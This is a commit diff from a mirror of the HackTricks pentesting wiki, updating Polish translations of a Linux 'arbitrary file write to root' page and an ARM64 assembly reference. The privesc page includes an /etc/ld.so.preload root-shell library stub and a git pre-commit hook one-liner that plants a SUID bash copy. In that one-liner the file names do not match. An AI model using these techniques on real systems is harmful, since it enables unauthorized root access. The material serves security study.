mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
Translated ['linux-hardening/privilege-escalation/write-to-root.md', 'ma
This commit is contained in:
parent
d05d161339
commit
2ebd2f0223
3 changed files with 127 additions and 130 deletions
|
@ -83,8 +83,10 @@
|
|||
|
||||
* [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||
* [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||
* [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
||||
* [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
|
||||
* [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||
* [D-Bus Enumeration & Command Injection Privilege Escalation](linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md)
|
||||
* [Docker Security](linux-hardening/privilege-escalation/docker-security/README.md)
|
||||
* [Abusing Docker Socket for Privilege Escalation](linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md)
|
||||
* [AppArmor](linux-hardening/privilege-escalation/docker-security/apparmor.md)
|
||||
|
@ -108,15 +110,14 @@
|
|||
* [Weaponizing Distroless](linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md)
|
||||
* [Escaping from Jails](linux-hardening/privilege-escalation/escaping-from-limited-bash.md)
|
||||
* [euid, ruid, suid](linux-hardening/privilege-escalation/euid-ruid-suid.md)
|
||||
* [Logstash](linux-hardening/privilege-escalation/logstash.md)
|
||||
* [Node inspector/CEF debug abuse](linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md)
|
||||
* [D-Bus Enumeration & Command Injection Privilege Escalation](linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md)
|
||||
* [Interesting Groups - Linux Privesc](linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md)
|
||||
* [lxd/lxc Group - Privilege escalation](linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md)
|
||||
* [Logstash](linux-hardening/privilege-escalation/logstash.md)
|
||||
* [ld.so privesc exploit example](linux-hardening/privilege-escalation/ld.so.conf-example.md)
|
||||
* [Linux Active Directory](linux-hardening/privilege-escalation/linux-active-directory.md)
|
||||
* [Linux Capabilities](linux-hardening/privilege-escalation/linux-capabilities.md)
|
||||
* [NFS no\_root\_squash/no\_all\_squash misconfiguration PE](linux-hardening/privilege-escalation/nfs-no\_root\_squash-misconfiguration-pe.md)
|
||||
* [Node inspector/CEF debug abuse](linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md)
|
||||
* [Payloads to execute](linux-hardening/privilege-escalation/payloads-to-execute.md)
|
||||
* [RunC Privilege Escalation](linux-hardening/privilege-escalation/runc-privilege-escalation.md)
|
||||
* [SELinux](linux-hardening/privilege-escalation/selinux.md)
|
||||
|
@ -124,7 +125,6 @@
|
|||
* [Splunk LPE and Persistence](linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
||||
* [SSH Forward Agent exploitation](linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md)
|
||||
* [Wildcards Spare tricks](linux-hardening/privilege-escalation/wildcards-spare-tricks.md)
|
||||
* [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
||||
* [Useful Linux Commands](linux-hardening/useful-linux-commands/README.md)
|
||||
* [Bypass Linux Restrictions](linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
* [Bypass FS protections: read-only / no-exec / Distroless](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Dowolne zapisywanie plików do roota
|
||||
# Pisanie dowolnego pliku do roota
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,18 +6,18 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
### /etc/ld.so.preload
|
||||
|
||||
Ten plik zachowuje się jak zmienna środowiskowa **`LD_PRELOAD`**, ale działa również w **binariach SUID**.\
|
||||
Jeśli możesz go utworzyć lub zmodyfikować, możesz po prostu dodać **ścieżkę do biblioteki, która zostanie załadowana** przy każdym wykonywanym binarnym pliku.
|
||||
Jeśli możesz go utworzyć lub zmodyfikować, po prostu dodaj **ścieżkę do biblioteki, która będzie ładowana** przy każdym uruchomionym binarnym pliku.
|
||||
|
||||
Na przykład: `echo "/tmp/pe.so" > /etc/ld.so.preload`
|
||||
```c
|
||||
|
@ -34,29 +34,25 @@ system("/bin/bash");
|
|||
//cd /tmp
|
||||
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
```
|
||||
### Git hooks
|
||||
### Haki Git
|
||||
|
||||
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) to **skrypty**, które są **uruchamiane** w różnych **zdarzeniach** w repozytorium git, takich jak tworzenie commita, scalanie... Jeśli **uprzywilejowany skrypt lub użytkownik** wykonuje te czynności często i jest możliwość **zapisu w folderze `.git`**, można to wykorzystać do **przywilejów**.
|
||||
[Haki Git](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) to **skrypty**, które są **uruchamiane** podczas różnych **zdarzeń** w repozytorium git, na przykład podczas tworzenia commita, łączenia... Jeśli **uprzywilejowany skrypt lub użytkownik** wykonuje te czynności często i jest możliwe **zapisywanie w folderze `.git`**, można to wykorzystać do **privesc**.
|
||||
|
||||
Na przykład, można **wygenerować skrypt** w repozytorium git w **`.git/hooks`**, aby był zawsze wykonywany przy tworzeniu nowego commita:
|
||||
Na przykład, można **wygenerować skrypt** w repozytorium git w **`.git/hooks`**, aby zawsze był wykonywany podczas tworzenia nowego commita:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
|
||||
chmod +x pre-commit
|
||||
```
|
||||
{% endcode %}
|
||||
### Pliki Cron & Time
|
||||
|
||||
<details>
|
||||
TODO
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
### Pliki Usługi & Gniazda
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
TODO
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
### binfmt\_misc
|
||||
|
||||
</details>
|
||||
Plik znajdujący się w `/proc/sys/fs/binfmt_misc` wskazuje, który plik binarny powinien wykonać jaki rodzaj plików. TODO: sprawdź wymagania, aby wykorzystać to do wykonania powłoki rev, gdy otwarty jest powszechny typ pliku.
|
||||
|
|
|
@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -26,7 +26,7 @@ W architekturze ARMv8 poziomy wykonania, znane jako Poziomy Wyjątków (EL), def
|
|||
* EL1 ma większe uprawnienia niż EL0 i może uzyskać dostęp do zasobów systemowych, ale z pewnymi ograniczeniami, aby zapewnić integralność systemu.
|
||||
3. **EL2 - Tryb Hypervisora**:
|
||||
* Ten poziom jest używany do wirtualizacji. Hypernadzorca działający na poziomie EL2 może zarządzać wieloma systemami operacyjnymi (każdy w swoim EL1) działającymi na tym samym sprzęcie fizycznym.
|
||||
* EL2 zapewnia funkcje izolacji i kontroli środowisk zewirtualizowanych.
|
||||
* EL2 zapewnia funkcje izolacji i kontroli środowisk wirtualizowanych.
|
||||
4. **EL3 - Tryb Monitora Bezpieczeństwa**:
|
||||
* Jest to najbardziej uprzywilejowany poziom i często jest używany do bezpiecznego uruchamiania i zaufanych środowisk wykonawczych.
|
||||
* EL3 może zarządzać i kontrolować dostępy między stanami bezpiecznymi i niebezpiecznymi (takimi jak bezpieczne uruchamianie, zaufany system operacyjny, itp.).
|
||||
|
@ -35,7 +35,7 @@ Wykorzystanie tych poziomów pozwala na strukturalne i bezpieczne zarządzanie r
|
|||
|
||||
## **Rejestry (ARM64v8)**
|
||||
|
||||
ARM64 posiada **31 ogólnego przeznaczenia rejestrów**, oznaczonych jako `x0` do `x30`. Każdy może przechowywać wartość **64-bitową** (8 bajtów). Dla operacji wymagających tylko wartości 32-bitowych, te same rejestry można uzyskać w trybie 32-bitowym, używając nazw w0 do w30.
|
||||
ARM64 ma **31 rejestrów ogólnego przeznaczenia**, oznaczonych jako `x0` do `x30`. Każdy może przechowywać wartość **64-bitową** (8 bajtów). Dla operacji wymagających tylko wartości 32-bitowych, te same rejestry można uzyskać w trybie 32-bitowym, używając nazw w0 do w30.
|
||||
|
||||
1. **`x0`** do **`x7`** - Zazwyczaj są używane jako rejestry tymczasowe i do przekazywania parametrów do podprogramów.
|
||||
* **`x0`** przenosi również dane zwracane przez funkcję.
|
||||
|
@ -43,14 +43,15 @@ ARM64 posiada **31 ogólnego przeznaczenia rejestrów**, oznaczonych jako `x0` d
|
|||
3. **`x9`** do **`x15`** - Więcej rejestrów tymczasowych, często używanych do zmiennych lokalnych.
|
||||
4. **`x16`** i **`x17`** - **Rejestry Wywołań Wewnątrzproceduralnych**. Rejestry tymczasowe dla wartości natychmiastowych. Są one również używane do pośrednich wywołań funkcji i osłon PLT (Procedure Linkage Table).
|
||||
* **`x16`** jest używany jako **numer wywołania systemowego** dla instrukcji **`svc`** w **macOS**.
|
||||
5. **`x18`** - **Rejestr platformy**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany dla zastosowań specyficznych dla platformy: Wskaźnik do bieżącego bloku środowiska wątków w systemie Windows lub wskazanie na aktualnie **wykonywany strukturę zadania w jądrze Linuxa**.
|
||||
6. **`x19`** do **`x28`** - Są to rejestry zachowywane przez wywołanego. Funkcja musi zachować wartości tych rejestrów dla swojego wywołującego, dlatego są one przechowywane na stosie i przywracane przed powrotem do wywołującego.
|
||||
7. **`x29`** - **Wskaźnik ramki** do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu, ponieważ wywołana jest funkcja, rejestr **`x29`** jest **przechowywany na stosie** a nowy adres wskaźnika ramki (**adres `sp`**) jest **przechowywany w tym rejestrze**.
|
||||
5. **`x18`** - **Rejestr platformy**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany dla zastosowań specyficznych dla platformy: wskaźnik do bieżącego bloku środowiska wątków w systemie Windows lub wskaźnik do bieżącej **struktury zadania wykonywanego w jądrze Linux**.
|
||||
6. **`x19`** do **`x28`** - Są to rejestry zachowywane przez wywołanego. Funkcja musi zachować wartości tych rejestrów dla swojego wywołującego, dlatego są one przechowywane na stosie i odzyskiwane przed powrotem do wywołującego.
|
||||
7. **`x29`** - **Wskaźnik ramki** do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu, ponieważ wywoływana jest funkcja, rejestr **`x29`** jest **przechowywany na stosie** a nowy adres wskaźnika ramki (**adres `sp`**) jest **przechowywany w tym rejestrze**.
|
||||
* Ten rejestr może również być używany jako **rejestr ogólnego przeznaczenia**, chociaż zazwyczaj jest używany jako odniesienie do **zmiennych lokalnych**.
|
||||
8. **`x30`** lub **`lr`**- **Rejestr łącza**. Przechowuje **adres powrotu**, gdy wykonywana jest instrukcja `BL` (Branch with Link) lub `BLR` (Branch with Link to Register), przechowując wartość **`pc`** w tym rejestrze.
|
||||
8. **`x30`** lub **`lr`** - **Rejestr łącza**. Przechowuje **adres powrotu** po wykonaniu instrukcji `BL` (Branch with Link) lub `BLR` (Branch with Link to Register), przechowując wartość **`pc`** w tym rejestrze.
|
||||
* Może być również używany jak każdy inny rejestr.
|
||||
* Jeśli bieżąca funkcja ma wywołać nową funkcję i tym samym nadpisać `lr`, zostanie ona przechowana na stosie na początku, jest to epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Przechowaj `fp` i `lr`, wygeneruj miejsce i uzyskaj nowy `fp`) i odzyskana na końcu, jest to prolog (`ldp x29, x30, [sp], #48; ret` -> Odzyskaj `fp` i `lr` i zwróć).
|
||||
9. **`sp`** - **Wskaźnik stosu**, używany do śledzenia góry stosu.
|
||||
* wartość **`sp`** powinna zawsze być zachowana co najmniej zgodnie z **wyrównaniem kwadratowym** lub może wystąpić wyjątek wyrównania.
|
||||
* wartość **`sp`** powinna zawsze być zachowana co najmniej z **wyrównaniem na kwadro-słowo**, w przeciwnym razie może wystąpić wyjątek wyrównania.
|
||||
10. **`pc`** - **Licznik programu**, który wskazuje na następną instrukcję. Ten rejestr może być aktualizowany tylko poprzez generowanie wyjątków, zwracanie wyjątków i skoki. Jedynymi zwykłymi instrukcjami, które mogą odczytać ten rejestr, są instrukcje skoku z linkiem (BL, BLR) do przechowywania adresu **`pc`** w rejestrze **`lr`** (Rejestr Łącza).
|
||||
11. **`xzr`** - **Rejestr zerowy**. Nazywany również **`wzr`** w swojej formie rejestru **32**-bitowego. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań za pomocą **`subs`** jak **`subs XZR, Xn, #10`** przechowując wynikowe dane nigdzie (w **`xzr`**).
|
||||
|
||||
|
@ -59,152 +60,152 @@ Rejestry **`Wn`** to wersja **32-bitowa** rejestru **`Xn`**.
|
|||
### Rejestry SIMD i Zmiennoprzecinkowe
|
||||
|
||||
Ponadto istnieje kolejnych **32 rejestry o długości 128 bitów**, które można używać w zoptymalizowanych operacjach jednoczesnego przetwarzania wielu danych (SIMD) i do wykonywania obliczeń zmiennoprzecinkowych. Są one nazywane rejestrami Vn, chociaż mogą również działać w trybie **64**-bitowym, **32**-bitowym, **16**-bitowym i **8**-bitowym, a wtedy są nazywane **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
|
||||
### Rejestry systemowe
|
||||
|
||||
### Rejestry Systemowe
|
||||
|
||||
**Istnieje setki rejestrów systemowych**, zwanych również rejestrami specjalnego przeznaczenia (SPR), które są używane do **monitorowania** i **kontrolowania** **zachowania procesorów**.\
|
||||
**Istnieje setki rejestrów systemowych**, zwanych również rejestrami specjalnego przeznaczenia (SPR), które są używane do **monitorowania** i **kontrolowania** zachowania **procesorów**.\
|
||||
Mogą być odczytywane lub ustawiane tylko za pomocą dedykowanej specjalnej instrukcji **`mrs`** i **`msr`**.
|
||||
|
||||
Rejestry specjalne **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas inżynierii wstecznej. Przyrostek `EL0` wskazuje na **minimalny wyjątek**, z którego można uzyskać dostęp do rejestru (w tym przypadku EL0 to zwykły poziom wyjątku (uprzywilejowanie), na którym działają zwykłe programy).\
|
||||
Są one często używane do przechowywania **bazowego adresu obszaru pamięci lokalnej wątku**. Zazwyczaj pierwszy jest czytelny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro).
|
||||
Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas inżynierii wstecznej. Przyrostek `EL0` wskazuje na **minimalny wyjątek**, z którego można uzyskać dostęp do rejestru (w tym przypadku EL0 to zwykły poziom wyjątku (uprzywilejowanie), z którym uruchamiane są zwykłe programy).\
|
||||
Są one często używane do przechowywania **bazowego adresu obszaru pamięci lokalnej wątku**. Zazwyczaj pierwszy jest czytelny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro).
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; Odczytaj TPIDR_EL0 do x0`
|
||||
* `msr TPIDR_EL0, X0 ; Zapisz x0 do TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** zawiera kilka składników procesu zserializowanych do rejestru specjalnego **`SPSR_ELx`** widocznego dla systemu operacyjnego, gdzie X oznacza **poziom uprawnień wywołanego** wyjątku (to pozwala na przywrócenie stanu procesu po zakończeniu wyjątku).\
|
||||
**PSTATE** zawiera kilka składowych procesu zserializowanych do widocznego przez system operacyjny specjalnego rejestru **`SPSR_ELx`**, gdzie X to **poziom uprawnień wywołanego** wyjątku (to pozwala na przywrócenie stanu procesu po zakończeniu wyjątku).\
|
||||
Oto dostępne pola:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Flagi warunkowe **`N`**, **`Z`**, **`C`** i **`V`**:
|
||||
* **`N`** oznacza, że operacja dała wynik ujemny
|
||||
* **`Z`** oznacza, że operacja dała wynik zero
|
||||
* **`Z`** oznacza, że operacja dała zero
|
||||
* **`C`** oznacza, że operacja przeniosła
|
||||
* **`V`** oznacza, że operacja dała wynik z przepełnieniem:
|
||||
* **`V`** oznacza, że operacja dała przepełnienie ze znakiem:
|
||||
* Suma dwóch liczb dodatnich daje wynik ujemny.
|
||||
* Suma dwóch liczb ujemnych daje wynik dodatni.
|
||||
* W odejmowaniu, gdy od mniejszej liczby dodatniej odejmujemy większą liczbę ujemną (lub odwrotnie), i wynik nie mieści się w zakresie podanej wielkości bitowej.
|
||||
* Oczywiście procesor nie wie, czy operacja jest ze znakiem czy bez, więc sprawdzi C i V w operacjach i wskaże, czy wystąpił przeniesienie w przypadku operacji ze znakiem lub bez.
|
||||
* W odejmowaniu, gdy od mniejszej liczby dodatniej odejmowana jest większa liczba ujemna (lub odwrotnie), i wynik nie może być reprezentowany w zakresie podanej wielkości bitowej.
|
||||
* Oczywiście procesor nie wie, czy operacja jest ze znakiem czy nie, więc sprawdzi C i V w operacjach i wskaże, czy wystąpił przenoszenie w przypadku, gdy była ona ze znakiem lub bez znaku.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak **`CMP`** lub **`TST`**, tak robią, a inne, które mają przyrostek s, jak **`ADDS`**, również to robią.
|
||||
Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak **`CMP`** lub **`TST`**, robią to, a inne, które mają przyrostek s, jak **`ADDS`**, również to robią.
|
||||
{% endhint %}
|
||||
|
||||
* Bieżąca flaga szerokości rejestru (`nRW`): Jeśli flaga ma wartość 0, program będzie działał w stanie wykonania AArch64 po wznowieniu.
|
||||
* Bieżąca flaga **szerokości rejestru (`nRW`)**: Jeśli flaga ma wartość 0, program będzie działał w stanie wykonania AArch64 po wznowieniu.
|
||||
* Bieżący **Poziom Wyjątku** (**`EL`**): Zwykły program działający w EL0 będzie miał wartość 0
|
||||
* Flagi **jednokrokowego wykonywania** (**`SS`**): Używane przez debugery do jednokrokowego wykonywania poprzez ustawienie flagi SS na 1 wewnątrz **`SPSR_ELx`** poprzez wyjątek. Program wykona krok i zgłosi wyjątek jednokrokowy.
|
||||
* Flaga stanu wyjątku nielegalnego (**`IL`**): Służy do oznaczania, kiedy uprzywilejowane oprogramowanie wykonuje nieprawidłowy transfer poziomu wyjątku, ta flaga jest ustawiana na 1, a procesor wywołuje wyjątek stanu nielegalnego.
|
||||
* Flagi **`DAIF`**: Pozwalają one uprzywilejowanemu programowi selektywnie maskować pewne zewnętrzne wyjątki.
|
||||
* Flag **jednokrokowego wykonywania** (**`SS`**): Używane przez debugery do jednokrokowego wykonywania poprzez ustawienie flagi SS na 1 wewnątrz **`SPSR_ELx`** poprzez wyjątek. Program wykona krok i wywoła wyjątek jednokrokowy.
|
||||
* Flag **stanu wyjątku nielegalnego** (**`IL`**): Służy do oznaczania, kiedy uprzywilejowane oprogramowanie wykonuje nieprawidłowy transfer poziomu wyjątku, ta flaga jest ustawiana na 1, a procesor wywołuje wyjątek stanu nielegalnego.
|
||||
* Flagi **`DAIF`**: Te flagi pozwalają uprzywilejowanemu programowi selektywnie maskować pewne zewnętrzne wyjątki.
|
||||
* Jeśli **`A`** wynosi 1, oznacza to, że zostaną wywołane **przerwania asynchroniczne**. **`I`** konfiguruje odpowiedź na zewnętrzne **żądania przerwań sprzętowych** (IRQ), a F jest związane z **żądaniami szybkich przerwań** (FIR).
|
||||
* Flagi wyboru wskaźnika stosu (**`SPS`**): Uprzywilejowane programy działające w EL1 i wyższych mogą przełączać się między używaniem własnego rejestru wskaźnika stosu a rejestru modelu użytkownika (np. między `SP_EL1` a `EL0`). To przełączanie jest wykonywane poprzez zapisanie do rejestru specjalnego **`SPSel`**. Nie można tego zrobić z EL0.
|
||||
* Flagi wyboru wskaźnika stosu (**`SPS`**): Uprzywilejowane programy działające w EL1 i wyżej mogą przełączać się między używaniem własnego rejestru wskaźnika stosu a rejestru modelu użytkownika (np. między `SP_EL1` a `EL0`). To przełączanie jest wykonywane poprzez zapisanie do specjalnego rejestru **`SPSel`**. Nie można tego zrobić z EL0.
|
||||
|
||||
## **Konwencja Wywoływania (ARM64v8)**
|
||||
## **Konwencja wywoływania (ARM64v8)**
|
||||
|
||||
Konwencja wywoływania ARM64 określa, że **pierwsze osiem parametrów** funkcji jest przekazywane w rejestrach **`x0` do `x7`**. **Dodatkowe** parametry są przekazywane na **stosie**. Wartość **zwracana** jest przekazywana z powrotem w rejestrze **`x0`**, lub również w **`x1`** jeśli jest długa na **128 bitów**. Rejestry **`x19`** do **`x30`** oraz rejestr **`sp`** muszą być **zachowane** między wywołaniami funkcji.
|
||||
Konwencja wywoływania ARM64 określa, że **pierwsze osiem parametrów** funkcji jest przekazywane w rejestrach **`x0` do `x7`**. **Dodatkowe** parametry są przekazywane na **stosie**. Wartość **zwracana** jest przekazywana z powrotem w rejestrze **`x0`**, lub również w **`x1`** jeśli jest długa na **128 bitów**. Rejestry **`x19`** do **`x30`** i **`sp`** muszą być **zachowane** między wywołaniami funkcji.
|
||||
|
||||
Podczas czytania funkcji w asemblerze, szukaj **prologu i epilogu** funkcji. **Prolog** zazwyczaj obejmuje **zapisanie wskaźnika ramki (`x29`)**, **ustawienie** nowego **wskaźnika ramki** oraz **przydzielenie miejsca na stosie**. **Epilog** zazwyczaj obejmuje **przywrócenie zapisanego wskaźnika ramki** i **powrót** z funkcji.
|
||||
Podczas czytania funkcji w asemblerze, szukaj **prologu i epilogu** funkcji. **Prolog** zazwyczaj obejmuje **zapisanie wskaźnika ramki (`x29`)**, **ustawienie** nowego **wskaźnika ramki** i **przydzielenie miejsca na stosie**. **Epilog** zazwyczaj obejmuje **przywrócenie zapisanego wskaźnika ramki** i **powrót** z funkcji.
|
||||
|
||||
### Konwencja Wywoływania w Swift
|
||||
### Konwencja wywoływania w Swift
|
||||
|
||||
Swift ma swoją własną **konwencję wywoływania**, którą można znaleźć pod adresem [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
|
||||
## **Powszechne Instrukcje (ARM64v8)**
|
||||
## **Powszechne instrukcje (ARM64v8)**
|
||||
|
||||
Instrukcje ARM64 mają ogólnie **format `opcode dst, src1, src2`**, gdzie **`opcode`** to **operacja** do wykonania (takie jak `add`, `sub`, `mov`, itp.), **`dst`** to rejestr **docelowy**, gdzie wynik będzie przechowywany, a **`src1`** i **`src2`** to rejestry **źródłowe**. Wartości natychmiastowe mogą również być używane zamiast rejestrów źródłowych.
|
||||
Instrukcje ARM64 mają ogólnie **format `opcode dst, src1, src2`**, gdzie **`opcode`** to **operacja**, która ma być wykonana (takie jak `add`, `sub`, `mov`, itp.), **`dst`** to **rejestr docelowy**, w którym zostanie przechowany wynik, a **`src1`** i **`src2`** to **rejestry źródłowe**. Wartości natychmiastowe mogą również być używane zamiast rejestrów źródłowych.
|
||||
|
||||
* **`mov`**: **Przenieś** wartość z jednego **rejestru** do drugiego.
|
||||
* Przykład: `mov x0, x1` — To przenosi wartość z `x1` do `x0`.
|
||||
* **`ldr`**: **Załaduj** wartość z **pamięci** do **rejestru**.
|
||||
* Przykład: `ldr x0, [x1]` — To ładuje wartość z lokalizacji pamięci wskazywanej przez `x1` do `x0`.
|
||||
* **Tryb z przesunięciem**: Wskazuje przesunięcie wpływające na wskaźnik oryginalny, na przykład:
|
||||
* **Tryb z przesunięciem**: Wskazuje przesunięcie wpływające na wskaźnik oryginału, na przykład:
|
||||
* `ldr x2, [x1, #8]`, to załaduje do x2 wartość z x1 + 8
|
||||
*  `ldr x2, [x0, x1, lsl #2]`, to załaduje do x2 obiekt z tablicy x0, z pozycji x1 (indeks) \* 4
|
||||
* **Tryb z przesunięciem przed-indeksowym**: Obliczenia są stosowane do oryginału, uzyskany wynik jest przechowywany w oryginale.
|
||||
* **Tryb z wstępnym indeksowaniem**: To zastosuje obliczenia do oryginału, uzyska wynik i przechowa nowy oryginał w oryginale.
|
||||
* `ldr x2, [x1, #8]!`, to załaduje `x1 + 8` do `x2` i przechowa w x1 wynik `x1 + 8`
|
||||
* `str lr, [sp, #-4]!`, Zapisuje rejestr łącza w sp i aktualizuje rejestr sp
|
||||
* **Tryb z przesunięciem po-indeksowym**: Podobnie jak poprzedni, ale adres pamięci jest dostępny, a następnie obliczane i przechowywane jest przesunięcie.
|
||||
* `str lr, [sp, #-4]!`, Przechowuje rejestr łącza w sp i aktualizuje rejestr sp
|
||||
* **Tryb z indeksowaniem po zakończeniu**: Jest podobny do poprzedniego, ale adres pamięci jest dostępny, a następnie obliczany i przechowywany.
|
||||
* `ldr x0, [x1], #8`, załaduj `x1` do `x0` i zaktualizuj x1 na `x1 + 8`
|
||||
* **Adresowanie względem PC**: W tym przypadku adres do załadowania jest obliczany względem rejestru PC
|
||||
* `ldr x1, =_start`, To załaduje adres, gdzie zaczyna się symbol `_start` do x1 względem bieżącego PC.
|
||||
* `ldr x1, =_start`, To załaduje adres, gdzie zaczyna się symbol `_start` w x1 względem bieżącego PC.
|
||||
* **`str`**: **Zapisz** wartość z **rejestru** do **pamięci**.
|
||||
* Przykład: `str x0, [x1]` — To zapisuje wartość z `x0` do lokalizacji pamięci wskazywanej przez `x1`.
|
||||
